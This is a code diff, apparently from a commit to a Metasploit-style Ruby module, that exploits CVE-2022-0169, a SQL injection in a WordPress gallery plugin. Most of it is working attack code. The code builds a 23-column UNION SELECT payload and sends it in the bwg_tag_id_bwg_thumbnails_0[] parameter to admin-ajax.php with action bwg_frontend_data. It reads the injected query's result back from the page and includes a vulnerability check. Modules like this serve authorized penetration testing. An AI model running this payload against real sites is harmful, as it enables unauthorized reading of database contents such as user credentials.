@@ -31,8 +31,6 @@ def initialize(info = {})
31
31
[ 'WPVDB' , '0b4d870f-eab8-4544-91f8-9c5f0538709c' ] ,
32
32
[ 'URL' , 'https://github.com/X3RX3SSec/CVE-2022-0169' ]
33
33
] ,
34
- 'Actions' => [ [ 'SQLi' , { 'Description' => 'Perform SQL Injection via bwg_frontend_data' } ] ] ,
35
- 'DefaultAction' => 'SQLi' ,
36
34
'DefaultOptions' => {
37
35
'VERBOSE' => true ,
38
36
'COUNT' => 5
@@ -54,30 +52,34 @@ def initialize(info = {})
54
52
55
53
def get_sqli_object
56
54
create_sqli ( dbms : MySQLi ::Common , opts : { hex_encode_strings : true } ) do |payload |
57
- expr = payload . to_s . gsub ( /\s +/ , ' ' ) . strip
58
- cols = Array . new ( 23 ) { |i | i == 7 ? "(#{ expr } )" : rand ( 1000 ..9999 ) . to_s }
59
- injected = ")\" union select #{ cols . join ( ',' ) } -- -"
60
- endpoint = normalize_uri ( datastore [ 'TARGETURI' ] , 'wp-admin' , 'admin-ajax.php' )
61
- params = {
62
- 'action' => 'bwg_frontend_data' ,
63
- 'shortcode_id' => '1' ,
64
- 'bwg_tag_id_bwg_thumbnails_0[]' => injected
65
- }
55
+ expression = payload . to_s . strip . gsub ( /\s +/ , ' ' )
56
+ columns = Array . new ( 23 ) { |i | i == 7 ? "(#{ expression } )" : rand ( 1000 ..9999 ) }
57
+ injected = ")\" union select #{ columns . join ( ',' ) } -- -"
66
58
67
- res = send_request_cgi ( 'method' => 'GET' , 'uri' => endpoint , 'vars_get' => params )
68
- return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res &.code == 200
59
+ res = send_request_cgi (
60
+ 'method' => 'GET' ,
61
+ 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'wp-admin' , 'admin-ajax.php' ) ,
62
+ 'vars_get' => {
63
+ 'action' => 'bwg_frontend_data' ,
64
+ 'shortcode_id' => '1' ,
65
+ 'bwg_tag_id_bwg_thumbnails_0[]' => injected
66
+ }
67
+ )
68
+ next GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res &.code == 200
69
69
70
70
node = res . get_html_document . at_css ( 'div.bwg-title2' )
71
- node ? node . text : GET_SQLI_OBJECT_FAILED_ERROR_MSG
71
+ result = node &.text . to_s . strip
72
+ next GET_SQLI_OBJECT_FAILED_ERROR_MSG if result . empty?
73
+
74
+ result
72
75
end
73
76
end
74
77
75
78
def check
76
79
@sqli = get_sqli_object
77
80
return Exploit ::CheckCode ::Unknown ( GET_SQLI_OBJECT_FAILED_ERROR_MSG ) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
78
- return Exploit ::CheckCode ::Vulnerable if @sqli . test_vulnerable
79
81
80
- Exploit ::CheckCode ::Safe
82
+ @sqli . test_vulnerable ? Exploit :: CheckCode :: Vulnerable : Exploit ::CheckCode ::Safe
81
83
end
82
84
83
85
def run
0 commit comments